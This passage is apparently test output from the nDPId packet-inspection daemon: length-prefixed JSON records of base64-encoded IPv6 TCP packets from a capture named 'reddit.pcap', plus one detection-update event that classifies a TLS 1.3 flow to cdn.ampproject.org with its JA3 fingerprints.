+00456{"flow_id":51,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9381,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996193,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDhnPACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttoBu0y3tXQrdcX\/gBAB65zXAAABAQgKGsMW5cLXS+Q="} +00455{"flow_id":51,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9382,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996200,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDhnPACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttoBu0y3tXQrdcq3gBAB5JgmAAABAQgKGsMW5cLXS+Q="} +00456{"flow_id":55,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9386,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996246,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZEy\/C8sr4sDhgBALMKYUAAABAQgKwtdL5LiVO1I="} +00455{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9388,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996826,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZgWfUkNjbNmkgBALMFZsAAABAQgKwtdL5biVO1I="} +00455{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9390,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998160,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQaPhCx3qeEC9HgBALMF5GAAABAQgKwtdL5riVO1M="} +02098{"flow_id":52,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9391,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998161,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23LTmo6zQxs7vgBgLMKxXAAABAQgKwtdL5hrDFrwWAwMAegIAAHYDA5knAga9JsVthANvMMOq2D2+SX2rmS0yGAGyoniOt0ThIGZv95UrdgGMWa\/TkNOulH2VrZ4BEKc4CasnxiGwlqMaEwEAAC4AMwAkAB0AILxJHt\/nUlpqnkxFEv08JNNXN3OGTCenOutCUqlYgwMpACsAAgMEFAMDAAEBFwMDHFlVo28LZFpnB3dTdWjKtLAfLwyX7tiiIKH9Kc5hPNWnWbEb9w9xDAFwVZMfovECzqOccXQWfvlUUZAt4NjvLwF0L5X1NKT2yEHGgzn8h5uXNfaaGH28icL2dMGaqDC4P4NzMcE3pjFYv\/JT73Bx4yqdgYPx55CyXTHHNEiiL2LMXamE6a2oXVogN04FSta5RfsrxGSxOlqOzV\/hgilUWWe\/ZgEGX2V1Cg3Nf+wznEihqmmjJ\/4pp4Z2wbfGgVRzFfH8aL8hPSjm+H0f8jyH2n8py\/Y0rjWzkn0BqoX\/PsZA59yikX3z+SkfaoMHyB7YEO+S3+G3rw\/xP+HisCc8aYYy6lNWejbizW6rtB+\/e9JWkR4hJhTIKLV0pR4ubKba\/OTepLSk0Qfyl7TPNg+rLgIQBnb\/8J7UT4EVi8B7y6Km1nqED8KKyhyA9Ik05ywfhj2iskfO76MdSwtaztK0PAYNZTA+K68slmKGb\/3g55sF6njuCuhY\/3Ql5w8d8hDwLpt9G7w505ZOfCNCxxmv7mySNjWu9huk2SVvdoU6MYs9OX5ZNH5NN2OTUWygWg0oKq8gg1C5lMSbmkE1r0upPfNl7oRgEAip5gh1CCmM0EtoT0y8a\/pfVAL4vmGsXOzDmFA78xy75\/5ko\/pmbKbWmw+GLKbu74ek9j37Yn5YyvsJMTcGErl9u0P5o3SwKhQZfQeuwPQvY\/xLwSQ0+L3AhQ5LnR\/Ejjczhw6ZEP6VNRl5uBafMYG092S2P8nNEVJOTTyVQWTqPkAEyAcyLror+0MVOF1bI3NM6GesiOXgXxDpV0M2F03YdMJgHe8tmW2F53jfvpsgpQcCGlQRADpIcZyQOcf9\/AH++O09WU9YH2YxqkDfLK4rNdy+dElYwRKTpb+e8nK\/8w+Ho0PbexMzBGr2QdSmrjZ33CObiZN+1l6rzcpqUHW+vA82+jajr4pWrmOkNBO1vKg8svqpNfjxUVcYTiQhKIm5pvAbNWsfe9\/+J\/BSI9vjZM0sjNLkMKPNMXJ7he8h4C4sg21Sp4d57FA+kOkyc9GnjgSfeNOOnWmIyFp0jsGiqlfqeai8RGhnB1I0QsxjSqIYpHAkNStBgugPyGsdxjx08fTaPbIHhZ0OPww5UGKnW06oBbNa+peps2gli257vU+f55L138VCmJHRgMTadyqANFR\/NNnhLN3hQToaNkNiaNbLG0qO1nTaGgbvKp27phMBC9oYdiZmlKdwAiUnwhTx4c0OZqpGtKeJxb43JG9lksBV\/64AZo9uYxIwGD2vBHqejuODmCECOxwjItFNz+mXV0oDwO7yProByaYi5VPXxAQ7prXlGrbdeRYPIZnvwEoJt90ow7FRHznUsxInIDf7zuI4tiuU6Q+g5cdjjgdY6u9J22xCcBdsoLEcx3r9m+L5CQvdK6Vbsg=="} +00861{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9391,"source":"reddit.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291690998,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46812,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00455{"flow_id":58,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9392,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998162,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQan0Owi8YaA0rgBALMIaIAAABAQgKwtdL5riVO1M="} +00454{"flow_id":52,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9393,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998182,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzu+05qhkgBAB9ZNmAAABAQgKGsMW58LXS+Y="} +02099{"flow_id":52,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9394,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998224,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23LTmqGTQxs7vgBgLMPxkAAABAQgKwtdL5hrDFryTrDBY6gPF1EelSeGIirLvZTbSya5epi0+tPTO0vQdKrdUdTL+fMP+z+VaWmlFZ0J5c0VgzhtmHm8kKcw4iuCYzvtYG7A3eRredKrqJcRLJDY2O7+hv3\/XCrvuQSBBTggO00x1hh93T3ItTHSEJXu4QJsiawnts9mGZu3SD+8MdPG8J62Kvy\/lI9Wp39ZZieMgLD0WNUv\/30p1PhJMtRUDsGjNLFAwfmneqaPA48T34Rc4wZpGngQWfhgKE8ZahF2tiXaypuboWHMsdfLvg7LZ4OF4Y1S6Inj8bATHQQUEwDZJ1OUFvhissiPNhdfyFYTMo52n3i8sWPiTNGNFhQ08CiII4EC8Ed+qI0USRBXY5pA8YnB20LN5AXQx9sa\/k+YrJUlWUsgVbtfxQEbyAh1NsNfWUUWjYkTu5R7MRqF9dotp7f7y3MhVYXVdQ9qReNA5gbG\/r+LxkOQXWBn4OPqh1cyLh+OUUjrPn1hi5Xw2SgFexr5RFtlSsPk\/1IbPclorqKFKRVR186Z77mGCXsaHfigJ\/YaR7WcPEY41h6a7F1C15af+cRKbjHyDbOT\/nN43gBlTTh8+wbk450MmNEcoKKpxEvYE9Irbj8bfi7shacDHtspNyE4zme+SlD6G80x1GjTpTsGbqFj98DLfl5edqFfzON5zxJjbLbZEsy5XQhwiGOqrVa8RtpEm5oxSLuWhyvx1WqMWCTT6kW6bBDQClAQ\/OvWJfv0bzzKcj\/Et7nrZ2i+0akAOgW6JPcf1wzzZSvneE+nVRxjGzvkz6zkbbmJOsYezdpIXUWHHpFD8l\/4jpPMilpBD5d6IrtvmvHzM4o\/ejn9S0H1bvCMA3Iw9A6LRvtRG\/ZhV70JfWlXOR1pmrGkjxrhqBGNxEiDujEYaPn3cDHX5Kx4nFR3fEem0GzNPQj31gXEHU49MXCsPGcwtANXseZVr5FXlfzfEs7+ynRYbFnN\/AAnMYE+1964C\/dEO7Igi\/PuZZafzZeGeRlF3K9Lm6ixkoi5j6UQh2LSW5hBcu0p8eKmA0AfXznCq\/5NX1j+OBOq1BIz6GUF\/h72114Gb1tFhkoVqLaX08ZTaryWZK8+Z1AwYzqrVWXPnt4p0kiN2xMOlYb1VI6Q2J8PC5uXCakAspX0a++j8P1GqcFALlpBKHIvbtEXjE4FPIsBzGcue\/+yCsCyZv8LQw+atzG\/YURQskQYrs+ZWSW3IZzPCKnEDJI3wr5ennR\/HygGb3qzaqAYTe8iWDe9ZTui+tJN8GrliDamWsbeLGKvva6RPNb7MCbQJSfUhR2BaZXHfUfeYsW5d5nBS12y7ffBz38GcvcAVcLPt7rhqRnuCD\/QMBYTwBlX7CM9ZoJfZkD9iHKNGw87VD929I1rgm4Dnm69gupUACoiL0JofzTJxX2l9vbAg7SDNy0N7jc5hdLsA6kAJ2tVN987Nqo+v2XQxVjtBNbuQMJ\/w9gV0TQrG3IZ2KUBYmUGdmFeVAVQUFndNM5Bsh4t318Bu09yc4nTnctMbLeXyuG8Vhk\/Se4qULvm0RGACPIz\/NeZ38F+Q4E6OZ0RhIp4yewx+zbivrS9LrBuIwQUOdPHdTSZNw9Cr7muu1x9\/ow=="} +02095{"flow_id":52,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9395,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998225,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23LTmrRzQxs7vgBgLMN1uAAABAQgKwtdL5hrDFrwrdvG6h2GvBmUQvFTu33fjOQOnNo8Xbvha72KAsCrkEO8WFLoa2XEh968R+RrlvMeqBh6fGY6+jlxx18fmTWb3vpgugefzmorDWGe4Wr85Au2DOtyPgNb8Md5Ckaxurd3DhdIC+1+jD2kNYoh4JROyaavZ+FAMjB3qYLFdWqjBDNPmFjB0F+fsI6iEWYNIA+9Sq\/YYS0x9T0BkIjhvX7CnHk1EXhMzKK5LArgmRqLTBhXkeZO5j+lh9eelVjBLP6FEd7vvhH7lrk\/1hY3ONJwHe\/68gbW1HYbMVFzeukYTNnJSAd\/4KSJs7ZjDW9a4\/ALuI7vd1LtczOvitwP\/VNnlfnTeux3hBf4LZsGN944othnGp1HrExs8vdl25xAlbHbdj7\/7Zy4i+pdVaV117fFPsiMJzZSzUTXvuqgIfwybJqmRnoFmufb+RxFxIPH1Pj6FQh1sCwvW0eV6zZfN\/A2bRVADrwU0LJ8X\/gNZeoF0D+AcP0UXkgm+mvNgvUC2OtDXU89tjZW7TzRMcfQiaY8M6nTLdCVNQyhZj3pmXftl1t6pOEpNMc15AW64FSQMfyBYWKcrMblKOZLAD26KyXKeQGplwxFHgJqKJZT728zPi55GD9MlXtEfdAmOjZuoAjraK8QfRvO1mUD+v7JwqyxKoZx1JewMYxF7SVRKO\/8GXEA+Pqw1yHl5Rc1E2meSpaJkRsRHhIyj\/8RLUiVmrdgVEiYlE\/zi5l2EjuB5PxVNshj6ptZYdyGILfs01ENa7WRQjHm589B8C6hrmchs6KhkNsZEubUhm8jvU4ndcNW4I2kLc4ckCzc8DPKay8vJX2s8utgCd9hjEcsVl1ioLlF0YlKNH5Swq4XGlk4C4zCfp+bYrw7OlepGGOO2FgLephD+Z8iPvk+BCpID+PbMQZuBnzAbFNcKo0kPIMBeGft2DFVsGb9KznBh50v+694H+Fyu4O+YpQ9iXKkMALC2ESsJTQvGpzOc6DfsC2NHfU2wmD+Xm+Hy2u0xoCgb63RMNomxgHkND8SWERhRUbksDu0yRXyc8oIE9AE+eP6tPg5i+\/uAFfCZrpPgNETlIZuH8NjurWcttJikAl9mfTP6QWnzlzMkzU3tE9WX5qSHHlPrw99Sy0+4eegM+kYJA6iblip2tu1GhD4MC0zRcGWyLzp+1Bb4gtaoP0IlAcbMLagYxA1YPnZzycEwV3j1V6Lt6z+qDk3xs8SNfVygoiapdU7LZK5yYGifYRmXJmovMd\/O7UeZPpK4JMYNFOlSumik4VdM7Vd0e2\/TXFrjBWagdwXOLg5Wz+1Z8vcy6bUsebXXc7aIR26xmkHuqt3OG7lbu1GSMjcUffc4lZ+Eon78NCxZ\/yNeG4Ta90VYpOn1fDCwhuT9YYW6Bc0+Ylc\/t3rBPRa3fzhApUNjH4k4a4iFJwpURwHYtMTjtpQzDVs9DEMIdcRdX3arbbV3Zb1tRjR\/gr0jLqNjyTK7Z6wCvFpSxNrOhWix3KjpmTuia7nFQnRf\/kPIJYj+29KzPgMGXP39bDKdAfR0nn610mTRGs3sqtjP1xYT\/B7mAyQg40JxZdt24z\/YVNIbpm\/rJCUwgQcJpx1lJlH2VrSnnA=="} +00455{"flow_id":52,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9396,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998232,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzu+05q0cgBAB8o6xAAABAQgKGsMW58LXS+Y="} +00455{"flow_id":52,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9397,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998242,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzu+05rHUgBAB64oAAAABAQgKGsMW58LXS+Y="} +02099{"flow_id":52,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9398,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998780,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23LTmsdTQxs7vgBgLMIk7AAABAQgKwtdL5hrDFrwS\/i42OyxQNMv5oYBl3M97tmT9BJku8GY\/rrxSSyM5d1IlsGutiCMIy\/6rBIVcStOHT4sFC03IeDn98lMCtvE2Mw+GMq7\/totmNQTOGotOSK2dH0t7RdeyiP6pZB8N0abGhWtwrCRK1lkWj+dZgaM5aaAHSejzlycIWHGMZZap9WZ0A+EVMDUicBgJsMS4lEYN+lpfsMJk7kEC+fI6S7vFU8IiiJFqCO9vTfWjhWJkLVA1Ko41ttJkDXxRKz5RZNUqN1C\/yZsz9VMBpgcLvg239t6+c8Rbzn7U9VjRBd8GcZsGjJ86WK0wo0kOVa+SMFpKgVnNe1VGLEkvi4h\/3\/Xr+LfQWKAHhnwfd6+1s3ZNJa16F8ACBDSi6KBUgsAwkkzutYpeZm0gE2ocdolC1EsPZEL7\/gbNVL1\/odaFyhjEL20hhEW5ngpP\/mP7uU6+1TfsivuVWyOup8lVXWhvcX3L1ohFFdQ9XjYzKFahpXHBVLNUjfG4jVQPsUZGlr1aR0VOukTmf2m3y+aYqcU3wwn1F2d5\/KG9roil1Bx2cctaUWVVmloghbpEmiEkT\/1X9pcbGIvo4DQ2Xo9bGoAxqeBAbvkP7fF+A1OfSUODVqzcN8hUxxLTLbRGu9vtWyLgh1q3TJ9n\/3ea5yhoKwy+kdBikhbrKcmVld+p83H52WnfipsaiZfi0qPXic5qKWR1MqcPnUDA3KgshiwLiPbaJ1vwjDgBb\/ziQQqN4KaPAWrZ8AAyGyEC5SY57GzVYNTpKSRkM3CyHIVqa\/p0Z2VSHoVkZ1SYe7rAyICS\/PNo169jxEtEbojCvs426ToC0IENTyXYtJhMBGBggW+qTbV6IF0wICr3nj5dnrYxIchPWtuv6uNEc6gll62JXXoVPpN9YLEjI4lFX9L8sCmmt25ba+ggajZvBnxk+RCM7UTwa6MePaxxEFHuMpr6FaMWWRuI77WDdVvsOYMSwJo3wNyQQmrnRCDPQcx0Vt34trPUwywDcmS19L\/rRXBBPHHJMnRrnGUT+aVNAnIshTZ9kqhbnPibJNu16z6hdGxO+vvmG7Mn8jz5JNbd8ePuqPiK2f8KhbrHvfJk1Pns0D3uZLuXtx6BPlGvR79E6uYkNeZxCQFIZOYyhRZypg\/71bVCDpqO7s3qfr+5FYJaXO8V9p0EkOGfbHvLRcOOOfWAE6RXLf8VCLTHyh4MnWQ0LMcaaqr7gkK+FArprC7AkFC32tei1svJ15V+mn2g4HnhYhjRIXot6z0TVeYfEb3b7IL6bM4vOrrDSWlmYTGy1IfGKCDFk8RlHczYXAA1D86w++APESst8zStYkDc5nibi7Mmrx3A0cImzqKAU8kZBStSBKQPKc+Oig9GSFf6VeEUxgjA560VYiGb9zc6sUxKFUi0hKMLcbOyNzqv4EzAUhY\/AssiQ\/GXU\/OTloV8RWdUv85msp9+a3+HOxENoGw2tMdblRPBAM9wjlWcsgW8qii+tIYKkgoG8q4oM5IxElB7XqHfPO2I767QqXmiQ\/8O6\/w8HJd\/6vrW52bL0aAE4HSwvm3qMaRv6lhZk9ClgmFko1oez\/8WBV9Hp0f9qDjufEnnq3oxEZyLnie6eokPng=="} +02096{"flow_id":52,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9399,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998781,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23LTmtozQxs7vgBgLMLcQAAABAQgKwtdL5hrDFryoE1mqf46Ecor1LZhASfoGpr+LSnDO4G\/UronZBdvt1mre2610mId5SYLusQ1lk90Elr155pXy0FVA7VrJduxypo2oGsnvF2ehACVh8aV9WM0p6uZLu+EPEA2Ta9uOTCXiuPerKECmAXSWzYcXd6hCmQ1aJt1uh+a3vYOUMlLXtT6DnjejQi0+SFkLp3YtXrzmMjnlgzfKcRNdnixOa4zZkkLHoVo1KMQbXol8PRZJQBInwwV+JDuapB39F8Nxke8D5P\/RBxN9fNNoEXEpnh2xh900IfN1uvSmKWCh7Gx6LhKuJh2hfX91Q3weqhvOEsq1WJ2Yl6itmcOOpek4i3VLT1\/M6D7fmoRwlqogRTWUTMr3gsis8gnv\/GYV+9ozmXzK8nD2CRMLN2FyPj7z0BxCQD7NCXAN66hxtjLY16RfBp2RdgZTGSBg9shFUz1DIXjS1545I\/JUCtxjyK1OFe2jrfaKGQ2rGxH4bEv2auHRjUIDnC\/Trnmrkc5O6iCGxbMxONWiUu0GAH6V68fx0WLVSLrs34H1C5yEYm9e5G0DOlvFJkTC29mqcQYME6WgRu9VA2os1Ogr+x5HQqGDrvAsiwibNORi9yCZc6DMTTqRbtz\/KaXA0qjA5wcaSvd42yZSVvCdFTKxrfHglN8aB\/GThlVY6woxFqFMtZRQhZn9aa9oOR7vm7n1am45lpr4UXV+KWs48wMJJtC\/nGxVfsa5Nq\/LO2chTNrakfrNB2qEhDbraPkm\/owxwo+uHEJnr79zdBimEYstAkwvn2Z6FCfkoZhq5e+WNoqKgMGPbGj881XAFcld6MQz9VECVqPr1W7QGX6ae+QY3vqLRvgbhllCZEt08Qur83sqeU8z4Jv1BFLKkzY270lqQPfcxhKpI1MmwnCoNr0CPv58Sx7TyfYBIvEunwswWv+9B7185hvwjk0y1UoIEtFZawjxInsWwvznsOy7+EWKV+OwZaqva0M\/hCxSUC3EWXk53UCoDuc4rJVRWdLb8ilRxHsxYdF+8YSaGYu1NEFN14b83\/XnZHKG7ad8HOTMZWVSKH0V5p9\/3g9CFpwSdAFa1NNH28dpHiAGxh1pFHjLal1DLx85yB7kT9Ihcx+s93TexPppyGtwSIqzqTipBViIhyvNyzZeQpVyFD2yeEskI9UnANqAT3NduK4PDnYegFDOC+\/Dv0XV8MI4DwQ\/IdyhBBnbPiWb74xPKVTuNq8mLeWM7P9ILevECIihHtWVyDGu3o9PHo58x1htGFN5Q2unKZnJ5ETbVA9Jtuhrslsx2jSVn3N0HDtxbP61rTISZKGQ0qnAZ4g7hrhZ\/adaFLFpTTegOqTLW6+lVYQgihw9ysWase8LkIzelbYk3QSPz\/O1twm2B5OPejGmWP97ClbEXqlmCSv8h9ZpOMOZ47KnWwlw9g2cBzBg+Az+IBWts0Ml\/tiWQTQnt2RQE2FFyQUIsUo7xyDye6DxbNS4Lnzh80Lo5gsjij2NkrQ2x3M7hM8RgS\/0zE\/lecOkuzGFajGQZ+6lNuIk81SffRcHRhGzgNafwlEoz9dgZVptE6sOIMzHS8NtNKsE0CR1cgFjJqwMOMXBYDD0PWP19qV\/TIYmzA=="} +00455{"flow_id":52,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9400,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998804,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzu+05raMgBAB5IVPAAABAQgKGsMW58LXS+Y="} +00455{"flow_id":52,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9401,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":998826,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzu+05rtEgBAB3oCdAAABAQgKGsMW58LXS+Y="} +02106{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9406,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999060,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23lfa6egzuyZagBgLMB6aAAABAQgKwtdL5xrDFrwWAwMAegIAAHYDA+ARVh7FcdtqvWoBiPd+K7ittrX8N3HtxZQXwGNr2UuWIH9PfR9yCxA5tGPPT4cExrc3Qkmd4YTExNykGp6bEZH3EwEAAC4AMwAkAB0AIBFD0PEzuhSvDjWIeNdvCaOz9aATVVekU8szwANs\/ZFdACsAAgMEFAMDAAEBFwMDHFqt7bW\/d95j4IrQytuBDnlsqdPKVFRu7CvIGXn+qGcMIFmVhbwojfXuK2\/7GWwr4cG6Vc7L7Nh19IM2WhasyKBS2RsuTrCyGeVsvo35duGHxeurAXB\/w\/blJzjk\/ByNZCD7BkIXgu5VNPzjAWxDAquA8CDTTi6VOEaQQ7W\/7lCaLTEaAsW11Skz+J5\/Ygjlms1w4EYm7h1viu2R5HWUHgIEz\/nI5Q\/P8LeJ9RGq0mej2My3\/NuWhmJWP1hojDkBUiaSwhKwzKFkZdVnr+jwjJ5GHRgAjUtmt9aIpqWo31A\/TBtIwlaAtFnb01zovqBnw\/QYH3imUfG9YTVIVvh7IaYX7fZFja\/wuvf5KDwQ7EydjWXe\/gxEZaVBxurmJ6EC9+ilJI2+uu2Z2xJewzHnAhAEzlaBfuTfoJh\/+SEqVfLNqZ\/4emw7OOMatsHTTvGG3Stu\/itU99\/iACSi9aPv9HkAVrWtKZSBRdtt5UN6yPamoJOBepZM2oxbenK3KYf8qdMZXIOKfQXkr2d8C5zJqS1h4eMaoHygZHEvqPl4hnfP8DgO3Gl3h6JbmVF6rGRa9jzOw8vq\/TIui4P7g0OSQeuRjekn3yzzowUty2vJ3ByN0GDOrOcHXPOSpQcRoAE0r1SHgbk3weeh7wpdkuVG6Wf3eWqWZPxTGnC0hI+02\/1MVp+RadB+2FlgiSW24m1oBrN40NAdq06xM\/u6xuRdv8oLq1wRo3PgwVjm5i+\/18ct2y8XSLaJn5padKa2tqFodk6xUvnfaQFFRKNZd6nQRnKyUFAhMDGYYKPtDwUGPEZoKmLRzEeRCg3sYd2\/6ndLTv4xiIjRnWaVlUjzEYoL48TUkMSN+G18UqMYX4p1ANIr6CR7QDlONTGIE\/0ljSTN586+xIlwGG8hKJlLXmxFBWB+ZOeBvGil9GeqGPrsGzSTE9wr24sVtiSiW53lv4kwIccQDG8JrUFfg8ntf8j0HC\/nqyEWDTm4phHWq19Xn+oc51UT5SXsVEWmb32qHnbDmbLwsAuHmEmcYLkaiPSwIl1sIcAXyx17Xr8nrbTF00e4vLwkgZ\/vjPZiJBZJoWqHj07QjAxVUMt3cWX1sSARk9U01JwlkqoA7Xgg\/ZWmc9WZm7OkjlX5Y04l\/EuPy1g0C\/CUCPp0NwIlR6CyYmpRzZOH4GtWSBwLOKjsAsE9YnhSHhLRqBtrkvXuuGNTVkQ9n3ulFmxVKIESJTiKCBX9EVgt+yT1BrZnvzKgmo\/X4nZugFQKvR